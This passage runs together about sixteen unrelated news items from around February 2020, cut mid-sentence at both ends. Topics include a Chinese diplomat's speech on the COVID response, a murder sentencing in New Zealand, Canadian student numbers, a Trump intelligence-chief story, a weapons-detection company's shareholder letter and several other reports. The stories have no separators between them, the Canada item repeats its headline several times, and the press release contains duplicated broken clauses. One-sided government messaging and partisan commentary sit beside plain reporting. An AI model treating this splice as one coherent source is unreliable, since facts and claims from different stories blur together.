an early date. We will win the battle as soon as possible with our continued firm efforts. Although vigilance and preparedness is needed everywhere as we are in a globalized era and virus knows no borders, panic and rumors are totally undesirable. The Chinese government and people are united as one in combating the epidemic. Under the strong leadership of the Central Committee of the Communist Party of China with H.E. President Xi Jinping at the core, the Chinese government and people have taken unconventional resolute and comprehensive measures in dealing with the situation. President Xi has taken very strong leadership in commanding the war. At the very beginning, he directed the party and government to put peoples lives and health in the first place. He personally chaired four CPC political bureau standing committee meetings to coordinate and guide the nationwide response. He also personally went to inspect the community prevention work in Beijing and conveyed greetings and encouragement to the medical workers at the forefront. The Chinese government especially the branch in charge of epidemic prevention, medical institutions and medical researchers have joined hands in optimizing the epidemic control strategy and patient treatment plans. Other government organs, numerous party officials, local residents and ten of thousands of volunteers have been working around the clock to provide the much needed logistic and material support. Over 20,000 health workers from all over China as well as thousands of Peoples Liberation Army Medical personnel formed more than 100 medical teams to assist Hubei, the hardest hit province in epidemic control. The Chinese scientists and researchers succeeded in isolating the first virus strain and developed the test reagent in less than seven days. Two specialized hospitals equipped with 2,500 beds were built in less than 15 days. 19 provinces and municipalities in China have been requested to partner with 16 cities in Hubei Province and provide targeted support. Many medical workers sacrificed their precious lives or lost their dear ones during the fight. The advantageous ability of China and the Chinese system to concentrate resources to solve major problems has been fully displayed. Many leaders from across the world including WHO Director General spoke highly of Chinas swift, assertive and effective response to the outbreak. Dr. Tederos said, "it is encouraging that the steps China has taken to contain the outbreak at its source appear to have bought the world time, even though those steps have come at greater cost to China itself." Dr. Tederos and many other world leaders affirmed that China deserves tribute and respect for what has been done. In combating the epidemic, China attaches great importance to international health cooperation and the international community has given China valuable moral and material support. In a spirit of openness and transparency, China promptly notified the world about the outbreak and shared the genetic sequence of the virus immediately after it was identified. China has been working closely with WHO, invited international experts to join the ranks,and provided timely assistance to foreign nationals in China. It is an unfortunate thing that China was stricken by this virus just as it was unfortunate that some West African countries were stricken by the Ebola virus in 2014. China, while containing the epidemic and preventing its further spread within the best of its ability, has been contributing immensely to safeguard the global public health security. In this process, many friendly countries including those in Africa have provided support to China in several ways, to which we are grateful. However, disappointingly, some western countries have overreacted by not only restricting flights, visas and trade, but also embarking on a smear campaign to attack Chinas political system. Their actions are against the WHO proposal and the International Health Regulation. In certain western countries, there are even signs of discrimination and xenophobia against China and Chinese. Some western media have published irresponsible articles that distort facts and confuse the public. These are of low moral standards. And we are firmly against it. Here, I would like to quote WHO Director-General, Dr Tedros words at the Munich Security Conference very recently, This is a time for facts, not fear. This is a time for rationality, not rumors. This is a time for solidarity, not stigma. End of quote. Dear friends, Ladies and gentleman, The Chinese nation never succumbs to any difficulty or challenge. China has leveraged its institutional strengths and started a peoples war against the epidemic. The Chinese government has taken the most thorough and rigorous measures, which are producing results. China has the capacity, confidence and determination to not only win a full victory against the epidemic but also meet its economic and social development goals. China will prevail over this epidemic and emerge stronger and more prosperous. Thank you. ROME A Rome deli owner is facing felony charges for allegedly selling drugs out of his store, according to the Rome Police Department. At approximately 11:13 a.m. Tuesday, Rome police executed search warrants at Michaels Market & Deli, located at 418 W. Dominick St. in Rome, with the help of the Oneida County Sheriffs Office. Police say that during the search they seized a quantity of crack cocaine, marijuana, a digital scale, packaging materials and an undisclosed amount of money. Deli owner Michael Stevens was arrested and charged with third-degree criminal possession of a controlled substance and fourth-degree criminal possession of a controlled substance, both felonies. Stevens was arraigned in Rome City Court and his bail was set at $15,000. G race Millanes mother confronted her daughters killer in a heartbreaking impact statement read as he was sentenced to life in jail on Friday. British backpacker Miss Millane was murdered on the eve of her 22nd birthday after the pair went on a Tinder date while she was in New Zealand in December 2018. Appearing in court via video link as the killer was jailed for at least 17 years, her mother Gillian told how her daughter was my friend. My very best friend. Addressing the 28-year-old murderer directly the emotional statement read from the family home, she said Miss Millane died terrified and alone in a room with you. British backpacker Grace Millane was murdered in New Zealand / PA She said: The terror and pain she must have experienced at your hands, as a mother I would have done anything to change places with her. She died terrified and alone in a room with you. Mrs Millane added: The tears I shed are never-ending at the thought of never having the chance to kiss my Grace goodbye. The killer was handed life in prison with a minimum non-parole period of 17 years at his sentencing at Auckland High Court on Friday morning. The man, whose name is subject to a suppression order, killed her in his hotel room before burying her body in a shallow grave on the outskirts of Auckland. Grace Millane's parents David and Gillian arrive with Detective Inspector Scott Beard at Auckland High Court in November / Getty Images He was found guilty and convicted of murdering the young woman, from Wickford in Essex, last November. Jailing him for life with a minimum term of 17 years, Justice Simon Moore told the murderer his actions amounted to "conduct that underscores a lack of empathy and sense of self-entitlement and objectification". Miss Millane had been in New Zealand for less than two weeks when she matched with the man on Tinder. She died the night they first met in person. Her parents were forced to endure a three-week trial in Auckland. Her killer refused to give evidence and instead put Miss Millane's sex life in the spotlight. Canadas international student population has tripled over the past decade to 642,000 in 2019. Canada has moved into third place globally behind the United States of America and Australia. 642,000 international students: Canada now ranks 3rd globally in foreign student attraction Canadas international student population has tripled over the past decade to 642,000 in 2019. Canada has moved into third place globally behind the United States of America and Australia. 642,000 international students: Canada now ranks 3rd globally in foreign student attraction Canadas international student population has tripled over the past decade to 642,000 in 2019. Canada has moved into third place globally behind the United States of America and Australia. 642,000 international students: Canada now ranks 3rd globally in foreign student attraction Canadas international student population has tripled over the past decade to 642,000 in 2019. Canada has moved into third place globally behind the United States of America and Australia. Kareem El-Assal Aa Accessibility Font Style Serif Sans Font Size A A Canada is now the worlds third-leading destination of international students, with a staggering 642,000 foreign students. According to Immigration, Refugees and Citizenship Canada (IRCC) data, Canadas international student population grew by 13 per cent in 2019 compared to the previous year, marking yet another year of double-digit growth. Overall, 404,000 international students saw their study permits take effect in 2019. Canadas international student population has grown six-fold over the past 20 years. In the last decade alone, it has tripled. Canadas growth is being fueled by the rise in the global middle-class population, with more students looking to pursue educational, and in some cases, immigration opportunities overseas. According to UNESCO, there are now over five million international students globally, compared with around two million in 2000. Here at home, Canadian colleges and universities have been left with little choice but to recruit more international students in order to sustain themselves financially. Growth among the main cohort of Canadian-born students entering colleges and universities (individuals between the ages of 18-24) has stagnated over the last decade due to Canadas low birth rate. While Canadas population has grown by 11 per cent over the past decade, the 18-24 cohort has only grown by 4 per cent. As such, Canadian institutions need revenues from international students to fund their rising operating expenses. Find out if you are eligible to enter the Express Entry pool Nearly 50 per cent study in Ontario Ontario is by far the largest beneficiary of foreign students in Canada. In 2019, it hosted some 48 per cent of Canadas international student populationnearly 307,000 people. British Columbia is a distant second, with 23 per cent of Canadas international studentsabout 145,000 people. Quebec is third, with 14 per cent of all international students in Canada87,000 people. Manitoba and Nova Scotia have high international student populations on a per capita basis, with some 19,000 international students in each province. Prince Edward Island experienced the strongest growth over the past decade Over the past decade, the Atlantic province of Prince Edward Island (PEI) has experienced the strongest growth among all provinces and territories. PEIs international student population has grown nearly five-fold since 2010. Other provinces that have experienced at least a doubling of their international student populations over this period include Newfoundland and Labrador, Quebec, Ontario, and Manitoba. 34 per cent of Canadas foreign students come from India Some 56 per cent of Canadas international students come from India and China. Indians account for over one-third of Canadas foreign students. Given it has a large middle-class population with high levels of English-language proficiency, India has many international students who are eligible for programs offered by Canadian educational institutions. This has contributed to Canadas population of Indian students nearly quadrupling over the past five years. Indian students have also benefited from the federal governments Student Direct Stream, which fast-tracks study permit applications for nationals of India, as well as China, the Philippines, Vietnam, Pakistan, Senegal, and Morocco. China is second, accounting for 22 per cent of Canadas international students. The number of Chinese students in Canada has actually stagnated over the past five years, with India overtaking China as the lead source country in 2018. There are several potential reasons for the stagnation, one of which is that Chinas strong economic growth is encouraging more of its students to remain at home. Rounding out Canadas top 10 international student source countries are South Korea, France, Vietnam, the United States of America, Iran, Brazil, and Nigeria. Among the top 20 source countries, the strongest growth rates over the past five years have been posted by India, Vietnam, the Philippines, Colombia, and Algeria. Canada moves into third place globally The United States currently has an estimated 1.1 million international students. Despite concerns that policies enacted by President Donald Trump may discourage international students from studying in the U.S., the country still boasts many of the worlds best universities, which continue to serve as a major magnet for international students. Australia ranks second globally, with its nearly 700,000 international students. Canadas 642,000 international students now rank it third globally, ahead of the nearly 500,000 each hosted by China and the United Kingdom. Why Canada is so attractive to foreign students Canadian Bureau for International Education (CBIE) research shows that international students choose Canada due to the countrys strong quality of education, as well as its reputation as a multicultural and tolerant society. Some 60 per cent of international students have also reported to CBIE that they are interested in becoming permanent residents of Canada after their studies. Canada offers international students one of the worlds most competitive packages, allowing them to work while they study, then obtain a post-graduation work permit to gain Canadian work experience, and then offers them more than 80 economic class immigration streams to choose from. Another consideration is that while international students pay higher tuition than Canadian students, their overall expenses in Canada are lower than in the likes of the U.S., Australia, and the United Kingdom. A major reason for this is the Canadian dollar is weaker than the U.S. dollar, British pound, and the Euro (the European Union is another attractive destination for international students). $22 billion and over 170,000 jobs thanks to Canadas international students Canadian government research estimates that international students contribute some $22 billion annually to the countrys economy and help to sustain over 170,000 jobs. Beyond this major impact, international students are set to have an even larger impact on Canadas economy in the decades to come thanks to the over 80 economic class pathways offered through the likes of Express Entry, other federal programs such as the Atlantic Immigration Pilot, as well as the Provincial Nominee Program (PNP). These pathways feature dedicated streams for international students and may also award extra points to international students. This is due to federal government research showing that international students who become immigrants have very strong outcomes in the Canadian economy. As such, more international students are obtaining permanent residence. For example, in 2019, the Canadian Experience Class, which is designed for international students and temporary foreign workers with Canadian work experience, accounted for 34 per cent of those who became immigrants through Express Entry. This suggests that Canada may actually be understating the positive economic impact that international students are having on the country. Beyond their immediate $22-billion annual impact, international students who remain in Canada permanently will help to drive economic growth as both workers and consumers for many decades to come. Find out if you are eligible for any Canadian immigration programs Kareem El-Assal is the Director of Policy & Digital Strategy at CanadaVisa. 2020 CIC News All Rights Reserved 10.4k SHARES Facebook Twitter Whatsapp Pinterest Reddit Print Mail Flipboard Chairman of the House Homeland Security Committee, Rep. Bennie Thompson (D-MS), issued a blistering response to Thursdays explosive reporting that Donald Trump fired his acting intelligence chief for warning lawmakers that Russia is meddling in the 2020 campaign. According to MSNBCs Kyle Griffin, Rep. Thompson said Trump is not only refusing to defend against foreign interference, hes inviting it. Homeland Security Chair Thompson: By firing Acting DNI Maguire because his staff provided the candid conclusions of the Intelligence Community to Congress regarding Russian meddling the President is not only refusing to defend against foreign interference, hes inviting it. Kyle Griffin (@kylegriffin1) February 20, 2020 The Democratic lawmaker added, [T]he President had made clear that he holds no regard for the rule of law or our system of government. It is frightening. Americans deserve better. By inviting Russian interference in the U.S. election, Trump is jeopardizing Americas national security and undermining democracy. Every corner of Trumps government is infected In short, Trump didnt want people to find out that Russia was helping him win another election, so he forced out the acting DNI who briefed lawmakers about the threat. To make matters worse, the president is replacing the official with one of his diehard supporters. As PoliticusUSAs Jason Easley noted on Thursday, the new acting DNI has no intelligence community experience. In every corner of Trumps government even national security the president is making it clear that administration officials should put his political interests over American interests. Trump doesnt care that Russia is meddling The fact that Russia is again actively meddling in another presidential election to help Donald Trump is bad enough. What makes this situation so much worse is that Republicans in Congress particularly Mitch McConnell in the Senate have repeatedly refused to safeguard our elections from such threats, and the president of the United States continues to show that he doesnt care if Russia meddles again so long as its done on his behalf. Donald Trump is a dangerous narcissist. When given the news that Russia poses an active threat to American democracy, the only thing he cares about is the fact that his intelligence community informed Democrats. Follow Sean Colarossi on Facebook and Twitter A 19th century California law providing double or triple damages for destroying trees or timber on someone elses property does not apply to fires started by accident, the state Supreme Court has ruled. The law, enacted in 1872, applies to wrongful injuries to timber, trees or underwood upon the land of another, or removal thereof. It provides triple damages for harm caused by a deliberate entry onto another persons property, and double damages where the trespass was casual or involuntary. And it allows lawsuits up to five years after the damage occurred, compared with three years for ordinary negligence suits. The law was invoked by a Colusa County resident, Vincent Scholes, whose trees were damaged by a fire in May 2007 that started on neighboring land owned by Lambirth Trucking Co. Scholes said a grinder operated by the company spewed out wood chips and rice hulls that blew onto his property and spread the fire to his trees. Because Scholes filed his claim of tree damage more than three years after the fire, he could pursue it only if the 1872 law applied. Lower courts ruled against him, and the states high court agreed Thursday. The language of the law, using terms like wrongful injuries and trespass, indicates it was aimed at timber misappropriation after deliberate entry onto someone elses land, Justice Mariano-Florentino Cuellar said in the 7-0 ruling. Californias timber trespass law traces back to early colonial enactments forbidding the cutting of timber from public grounds, followed by laws penalizing tree-cutting on private property without the owners consent, Cuellar said. He also noted that, in 1931, California lawmakers repealed another law that had allowed additional damages for harm inflicted by negligently caused fires. Those whose woods are burned because of someone elses negligence can still seek damages for the fair-market value of the timber, lost profits, the cost of reforestation, and the loss of use and enjoyment of the woods, if they sue within legal deadlines, Cuellar said. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. But he said multiple damages and the five-year deadline for lawsuits apply only to acts of timber trespass direct, intentional injuries to timber, trees or underwood on the land of another. Nobody likes to lose, but we respect the courts decision, said Scholes lawyer, Martin Buchanan. Lynn Garcia, an attorney for Lambirth Trucking, said the company was pleased with the ruling. The case is Scholes vs. Lambirth Trucking Co., S241825. Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @BobEgelko Kabul, Feb 22 : Afghanistan President Ashraf Ghani has said that a seven-day reduction in violence promised by the Taliban will determine the government's next steps in country's peace process. He said in a televised speech to the nation: "The coming steps regarding the peace process will depend on the results and our assessment from the week of reduction in violence." "It will clarify the direction and road for our future steps in the peace process." The Taliban has announced a decrease in hostilities in an agreement with the United States as a preliminary step to signing a peace deal with Washington on February 29, Efe news reported. Any future treaty is expected to stipulate a gradual withdrawal of US troops from Afghanistan, which is seen as the phase before the start of intra-Afghan peace negotiations. Ghani said Afghan security forces will be "on high alert" during the week-long de-escalation, which is due to begin at midnight, and will be closely monitoring the situation. He said security forces will only act defensively if they came under attack but that operations against other terrorist groups will continue. Ghani said the government had demanded a full ceasefire but that the reduction was "an important step toward achieving a lasting ceasefire and peace". He also reiterated that the peace process will be led by the Afghan government. Washington and Kabul had stipulated the reduction of violence as a necessary step before any peace deal is signed. They consider it proof of the Taliban's ability to control its fighters and demonstrate its commitment to peace. Ghani was this week declared the winner of presidential elections held in September. His main challenger Abdullah Abdullah, currently the country's chief executive, has also declared victory for his party and announced he will form his own government. Abdullah said in a statement that the successful implementation of the partial truce is a "necessary stepping stone toward intra-Afghan negotiations, a permanent ceasefire and a durable settlement acceptable to our citizens". "As a responsible side, we will do our utmost to facilitate, cooperate and justly resolve all outstanding issues to build consensus that engages Afghans in peacemaking," he added. Taliban spokesman Zabihullah Mujahid called on its fighters to "strictly observe" the reduction in violence but warned they would be ready if Afghan security forces violate the agreement. "Mujahideen are not allowed to visit enemy-controlled areas during the coming seven days," he said. He added that "all Mujahideen will receive (new) guidance and instructions as per the agreement and will be acting based on those instructions" after the end of the week. As the first day of the 2020 Census approaches, people within Green River are striving to make sure they count as many residents as possible. The census, which starts April 1, means a lot of money for Green River. The census figures are used to determine the percentage of sales tax distributed to the cities in Sweetwater County. Last time, the oil and gas boom fueled population growth in Rock Springs, which resulted in Green River losing funding because the gains in Rock Springs shifted the population percentages in both cities. We want to be in the best position we can be in, Mayor... [February 21, 2020] First Responder Technologies Provides Letter to Shareholders: Looking Forward With Optimism /NOT FOR DISTRIBUTION TO U.S. NEWS WIRE SERVICES OR DISSEMINATION IN THE UNITED STATES/ VANCOUVER, Feb. 21, 2020 /CNW/ - First Responder Technologies Inc. ("First Responder" or the "Company") (CSE: WPN | FWB: 3WK) a developer of WiFi-based technologies to detect and deter mass shooting and terror attacks involving concealed weapons, today provided its shareholders with the following letter and corporate update from Kal Malhi, Chairman. Dear fellow shareholders: Momentum is accelerating as we move deeper into the first quarter of 2020. As many of you know, the Company recently signed alpha test agreements with partners in Canada, the United States and United Kingdom. We were also invited to attend the invitation-only UK Home Office Expo (Security and Policing 2020) March 3-5, 2020 in Farnborough UK, where the Company will demonstrate the world's first WiFi-based walk-through metal detection unit using sensor bollards. 2019 was a year of ambitious stage-setting for First Responder as we positioned our company for the next leap in its evolution, from a highly innovative development company to a commercially viable business. Our goal has been clear from the outset: to establish a successful commercial legacy in the world of weapons detection and product innovation. We would like to thank our early shareholders for believing in the Company's vision as we continue to develop and innovate our proprietary technology. Your support is an integral part of our goal to build a successful and revolutionary technology company. The task to transfer innovative concepts from the minds of our team members to First Responder's drawing boards and from there to tomorrow's technology products is considerable. Our team is ready and driven to accomplish that goal this year, and we are up to the challenge. What made us proud in 2019 and make us confident in 2020: we completed our initial public offering for gross proceeds of approximately $4.8 million ; ; our common shares have remained liquid since trading commenced on the Canadian Securities Exchange on January 16, 2020 , with approximately 11.4 million common shares traded since that date; , with approximately 11.4 million common shares traded since that date; we appointed Ambassador (Ret.) Howard Gutman , former United States Ambassador to Belgium and former Special Assistant to the Director of the Federal Bureau of Investigation, and Brigadier General (Ret.) John Jayet, former commander of a number of French Army units, including a military intelligence regiment, to our Advisory Council; , former Ambassador to and former Special Assistant to the Director of the Federal Bureau of Investigation, and Brigadier General (Ret.) John Jayet, former commander of a number of French Army units, including a military intelligence regiment, to our Advisory Council; snior members of the Company's senior management team attended Milipol, a homeland security and public safety tradeshow and conference, in Paris, France from November 19-22, 2019 (" Milipol "), as well as the International Security Exposition, a homeland security and public safety tradeshow and conference in London, UK from December 3-4, 2019 (" ISE "); and from (" "), as well as the International Security Exposition, a homeland security and public safety tradeshow and conference in from (" "); and at Milipol and ISE, the Company logged approximately 200 in-person requests for follow-up, from prospective customers and partners, and to date the Company has recorded in excess of 1,000 digital inquiries about its WiFi-based weapons detection technology from prospective customers and partners. We view each of these accomplishments as validation of our technology, our team and our progress. First Responder's management team recognizes that the first quarter of 2020 has so far been a challenging quarter in the capital markets and, as with most venture company listings, we experienced considerable volatility in our share price. Our mindset is to consistently build the Company, and the stock price will follow. We continue to focus on innovation and product engineering with a solid business strategy. First Responder was founded with a focus to develop technology that we believe can make the world safer. We believe that our WiFi-based weapons detection technology is a first step toward realizing that vision. Moving forward, we look forward to First Responder hitting key milestones and transitioning to a commercially successful, sustainable business. Looking back on the decision you made to invest with us, I trust you share my conviction and belief that our best days and years are to come. Thank you for your support. Kal Malhi, Chairman No securities regulatory authority has either approved or disapproved of the contents of this news release. The securities of the Company have not been, nor will they be, registered under the United States Securities Act of 1933, as amended, or any state securities laws, and may not be offered or sold in the United States, or to or for the account or benefit of any person in the United States, absent registration or an applicable exemption from the registration requirements. This press release shall not constitute an offer to sell or the solicitation of an offer to buy any common shares in the United States, or in any other jurisdiction in which such offer, solicitation or sale would be unlawful. On behalf of the Board of Directors, "Robert F. Delamar" Robert F. Delamar, CEO First Responder Technologies Inc. 915 - 700 West Pender Street Vancouver, BC. V6C 1G8 [email protected] About First Responder Technologies Inc. First Responder Technologies Inc. (the "Company") is a technology development company that commercializes academic and internally developed intellectual property for use in the public safety market. The Company is developing a WiFi-based technology, based in part, on academic research licensed from Rutgers, the State University of New Jersey ("Rutgers") that can be used to detect concealed weapons. The Company's threat detection technology line of business was created to capture a significant portion of the global weapons detection systems market, and in particular, the global perimeter security detection market. In the Company's view, WiFi-based threat detection technology may be utilized by a wide range of facilities, including schools, places of worship, shopping centres and theatres, to not only make their premises secure, but also reduce their cost of security, from the interior of a facility to the perimeter. For more information visit: www.firstrespondertech.com or follow us on Twitter, LinkedIn and Facebook. CAUTION REGARDING FORWARD-LOOKING INFORMATION Certain statements contained in this news release may constitute forward-looking information. Forward-looking information is often, but not always, identified by the use of words such as "anticipate", "plan", "estimate", "expect", "may", "will", "intend", "should", and similar expressions. Forward-looking information involves known and unknown risks, uncertainties and other factors that may cause actual results or events to differ materially from those anticipated in such forward-looking information. The Company's actual results could differ materially from those anticipated in this forward-looking information as a result of regulatory decisions, competitive factors in the industries in which the Company operates, prevailing economic conditions, changes to the Company's strategic growth plans, and other factors, many of which are beyond the control of the Company. The Company believes that the expectations reflected in the forward-looking information are reasonable, but no assurance can be given that these expectations will prove to be correct and such forward-looking information should not be unduly relied upon. Any forward-looking information contained in this news release represents the Company's expectations as of the date hereof, and is subject to change after such date. The Company disclaims any intention or obligation to update or revise any forward-looking information whether as a result of new information, future events or otherwise, except as required by applicable securities legislation. Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release. SOURCE First Responder Technologies Inc. [ Back To TMCnet.com's Homepage ] By Express News Service NEW DELHI: India on Thursday said that the H1-B visa squeeze could figure in talks between Prime Minister Narendra Modi and US President Donald Trump on February 25. The H1-B visa issue could come up. We have remained engaged in this issue with the government and the US Congress. We do expect that movement of Indian professionals is part of the agenda that could come up for discussions, External Affairs Ministry spokesperson Raveesh Kumar said. There could be some announcements related to defence and counter-terror, too, during the visit. We have been on the same page with regard to counter-terror. The US support to us, especially during the post-Pulwama attack phase, has been unprecedented. It also supported us in designating some terrorists who operate out of Pakistan, he said. Discussions on civil nuclear cooperation and space cooperation would also be held. Westinghouse and NPCIL are in discussion to build six 1,100 MW reactors at Kovvada, AP. Following resolution of Westinghouses bankruptcy issues, the two sides are in discussion regarding the division of responsibility of the work. NPCIL has visited the US reference plant to understand Westinghouses modular construction methodology, Kumar said. Asked about the Namaste Trump event in Gujarat on February 24, he said: Such events have been held in the past, but on a smaller scale. This event is being organised by the Donald Trump Nagarik Abhinandan Samiti. The Congress, however, wondered why Gujarat is spending `120 crore on an event by a private Samiti. Dear P.M, Intriguing news from @MEAIndia! Pl state Who is the President of Donald Trump Abhinandan Samiti? When was the invitation extended to U.S President & accepted? Why is Gujarat Govt then spending `120 Crore for a 3 hour event organized by an unknown Pvt entity?, Randeep Surjewala said in a series of tweets. Around five MoUs lined up India and the US are expected to sign around five pacts on intellectual property rights, trade facilitation and internal securityMEA downplays Trumps complaint that the US has not been treated very well by India, says it was in the context of balance of trade Dont want to rush into a trade deal by creating artificial deadlines, says MEA Hardeep Puri to be Trumps minister-in-waiting Civil Aviation Minister Hardeep Puri will be the minister-in-waiting for US President Donald Trumps visit next week. He will accompany the presidential delegation to all of their official engagements in India. Chloe Sevigny, 45, is currently expecting her first born child with her boyfriend Sinisa Mackovic. And the actress appeared to equate her burgeoning baby bump to a work of art as she posed before a few Rita Ackermann paintings at the Museum of Modern Art in New York. Sevigny, who shared the snapshots on Instagram, let her bare bump slip out from under a cropped black blouse as she promoted Ackermann's latest gallery. Work of art: Chloe Sevigny took to Instagram on Friday morning to share two snapshots from her recent trip to the Museum of Modern Art in New York Getting that promo: The 45-year-old actress had her bare bump on full display in a cropped black blouse and low-rise flared trousers Sevigny rocked a visibly bare face during her museum trip with her signature blonde tresses neatly parted in the middle and swept aside. She completed her all black ensemble with a puffer coat, flared low-rise pants, and a pair of weather appropriate boots. In the first shot, the Love And Friendship star posed from the side, giving her nearly 1million Instagram followers a view of how much her stomach has grown since her big announcement in January. With a warm smirk wiped across her face, Sevigny placed her hands on her hips and positioned herself in front of a large piece of artwork. Bring on baby! Sevigny appears ecstatic over her pregnancy, even posing in a bikini while on vacation in Turks and Caicos on January 30 Her partner in parenting: Sevigny is expecting her first born with art director beau Sinisa Mackovic; the pair were spotted getting cozy during a trip to a New York City park in August In the second shot, Chloe showed off her quirky side by slinging her black coat over her shoulder and puckering up for the camera. The actress has been with her baby daddy Sinisa for over a year and he happens to be the director of Karma Art Gallery in the East Village. The couple have opted for a private romance, which means they are rarely photographed together. Going strong: The couple have been together for over a year; the pair were spotted getting cozy during a trip to a New York City park in August Still the same Sevigny: Even with a baby on board, nothing could stop Chloe from indulging in some high fashion festivities; the actress was spotted attending the Miu Miu party in NYC on February 11 during New York Fashion Week But the art director did join Sevigny in early January during their most public display yet. The couple stepped out on the streets of New York with Sevigny donning a red fitted dress that accentuated her bump. In the snapshots, the American Horror Story actress can be seen cradling her stomach and planting numerous kisses on Sinisa before an array of eager shutterbugs. Solo mission: The American Horror Story star seems to be taking pregnancy with stride, often going on solo outings in the Big Apple on foot; Chloe pictured on February 5 following a lunch date in Manhattan Chloe had recently wrapped filming her upcoming HBO mini-series We Are Who We Are when news of her pregnancy broke. On January 30, nearly an entire month after her shocking pregnancy reveal, Sevigny posted an Instagram bikini snap taken on a Turks And Caicos beach with her belly on full display. In the past, the actress has often expressed her disinterest in having children, so her change of heart came as a shock to fans. Change of heart: In 2015, Sevigny correlated her young appearance to the fact that she had not had any children; Sevigny pictured at the premiere of The Act in New York on March 14 During an interview with W Magazine in 2015, Sevigny stated that her youthful appearance was directly correlated to the fact she had abstained from having children. 'I think its not having had a baby yet,' answered Chloe. 'Because I think the baby wear and tear and stress on your body is part of the reason why people say: "Why do you still look so young?"' Chloe added: 'I really think that that unfortunately ages women, especially when they have children in their 30s, not in their 20s.' Burma Two Kachin Pastors Freed After Myanmar Army Drops Unlawful Association Case Rev. Bima Dau Lum (left) and Sumlut Tu Htang, the two Kachin pastors who were released from police detention in Myitkyina on Thursday. / KBC / Facebook Two Kachin pastors were released from prison in the Kachin State capital, Myitkyina, on Thursday afternoon after the Myanmar Army dropped an unlawful association case against them, according to local sources. Rev. Bima Dau Lum and Sumlut Tu Htang spent two weeks in detention after the army opened unlawful association cases against them under Article 17(1) for attending an event marking the 60th Kachin Revolution Day on Feb. 5. Sumlut Tu Htang told The Irrawaddy on Friday that one of the army officers who opened the case against the pair had informed the court that the army was dropping the case, and that the order came from the top. He [the army officer] told the court that the order came from the top to drop the charge and release us. Therefore, we were freed, he said. The two were released from prison at 3:30 p.m. on Thursday, he said. Sumlut Tu Htang said he was very happy that the army had dropped the charge, and to be out of prison. He expressed his thanks to the Kachin Baptist Convention (KBC) and the Kachin National Consultative Assembly (KNCA) for their help in negotiating their release with the Myanmar army. He said prison authorities treated the two pastors well during their incarceration. The pair were not kept in solitary confinementthe usual practice for suspects in unlawful association casesbut were allowed to mix with the other prisoners, he said. Leaders from the KBC and KNCA conducted several rounds of negotiations with the Myanmar armys Kachin State-based Northern Command to secure the pastors release. The chief of the Northern Command raised the KBC and KNCAs request that the men be released with Myanmar military chief Senior General Min Aung Hlaing. Sen-Gen Min Aung Hlaing agreed that the two pastors should be released, so the Myanmar armys Northern Command dropped the case, said Dr. Maji La Wawm, a spokesman for the two men. The Myanmar Army filed unlawful association cases against a total of four people, according to Dr. Maji La Wawm, but only the two pastors were detained. The cases against the other two were dropped as well. Events celebrating Kachin Revolution Day are banned, as the areas main armed group, the Kachin Independence Army, has yet to sign the Nationwide Ceasefire Agreement (NCA). The KNCA attempted to secretly organize a small event at a KBC church in Myitkyina, but police arrested the two pastors, who oversee the church. This type of case will become more frequent as long as the country lacks equal rights, Dr. Maji La Wawm said. You may also like these stories: Naga Group Leaders Charged with Unlawful Association Jailed Members of Outlawed Mon Group Freed After NCA Deal Myanmar Militarys Promises of Charter Change Fail to Impress Ethnic MPs The ODT reports: The Government is investigating whether it should give the Minister of Energy power to reallocate electricity or gas in situations of acute electricity or gas shortage. The move has alarmed the Petroleum Exploration and Production Association of New Zealand, which suggests it would be ironic if the Governments 2018 ban on offshore oil and gas exploration were to cause ministers then to intervene and claim there had been market failure because of a shortage of natural gas supplies. The proposal is buried deep in a paper taken to the Cabinet by the current energy minister, Megan Woods, on December 11 last year and released proactively late last week. It covers a wide range of recommended actions aimed at alleviating energy poverty and keeping an eye on how the fast-changing electricity market develops. The one-line reference suggests ministerial intervention could be developed aa low-impact option in the event of market failure. A possible option is the provision of emergency powers to reallocate electricity or gas in situations of acute electricity or gas shortage. The proposal has raised immediate concerns with PEPANZ, which sheeted the potential for shortages of natural gas the fuel routinely used to generate electricity when wind and hydro-electric resources are not available, along with higher carbon-emitting coal, which has been used more heavily to generate electricity during the past two years due to tight gas supplies. It would be very strange for the government to ban offshore exploration for gas on one hand, and then to be so concerned about shortages, said John Carnegie, PEPANZs executive director, in talking points released to BusinessDesk. The new principal of St Kevins College has promised students and parents his door is always open and said the students who spoke out about grooming had given the school a mandate for change. New principal John Crowley spoke with students in years 11 and 12 on Friday, his first day at the helm of the besieged Catholic boys school. St Kevin's College in Toorak. Credit:Pat Scala Mr Crowley confronted the reputational damage the school had suffered from reports of its botched handling of a child grooming case involving a former student and a volunteer coach. The former principal of St Patricks College in Ballarat was catapulted into the position of St Kevins principal on Friday, after his predecessor, Stephen Russell, resigned over his mishandling of a former volunteer coachs conviction. WASHINGTON Representative Alexandria Ocasio-Cortez on Friday endorsed an all-female slate of progressive candidates through her new political action committee, using her clout in the insurgent left and the considerable campaign funds she has drawn to counter the Democratic establishment in key races around the country. The endorsements of the congressional candidates including one who is challenging Senate Democrats preferred candidate in Texas amount to a powerful stamp of approval for a diverse group of newcomers. They also are a clear sign that Ms. Ocasio-Cortez, a celebrity of the liberal left, intends to leverage her influence among activists to try to reshape the Democratic Party. The move also underlines the struggle among Democrats that is defining the race for the presidency, which is pitting Senator Bernie Sanders, the self-described democratic socialist, against more moderate candidates who are presenting themselves as better able to appeal to a broad section of voters in taking on President Trump. Ms. Ocasio-Cortez has traversed the country to campaign for Mr. Sanders, and her efforts to pull Congress to the left parallel his bid to deploy his progressive message to emerge as the Democratic nominee, an effort that has instilled fear in many centrist lawmakers who believe it could cost them their seats. One of our primary goals is to reward political courage in Congress and also to help elect a progressive majority in the House of Representatives, Ms. Ocasio-Cortez said in an interview. Theres kind of a dual nature to this: One is opening the door to newcomers, and the other is to reward members of Congress that are exhibiting very large amounts of political courage. At the invitation of the European Commissions Directorate-General for Taxation and Customs Union (DG TAXUD), WCO Secretary General Dr. Kunio Mikuriya met Mr. Paolo Gentiloni, European Commissioner for Economic and Financial Affairs, Taxation and Customs on 20 February 2020 in Brussels, Belgium. Dr. Mikuriya outlined the WCOs strategic priorities, focusing on areas of common interest for both the EU and the WCO. He highlighted the critical importance of Customs as a major player in the global supply chain and stressed the need to secure the highest degree of political support to advance the future of Customs. Secretary General Mikuriya and Commissioner Gentiloni further discussed key WCO 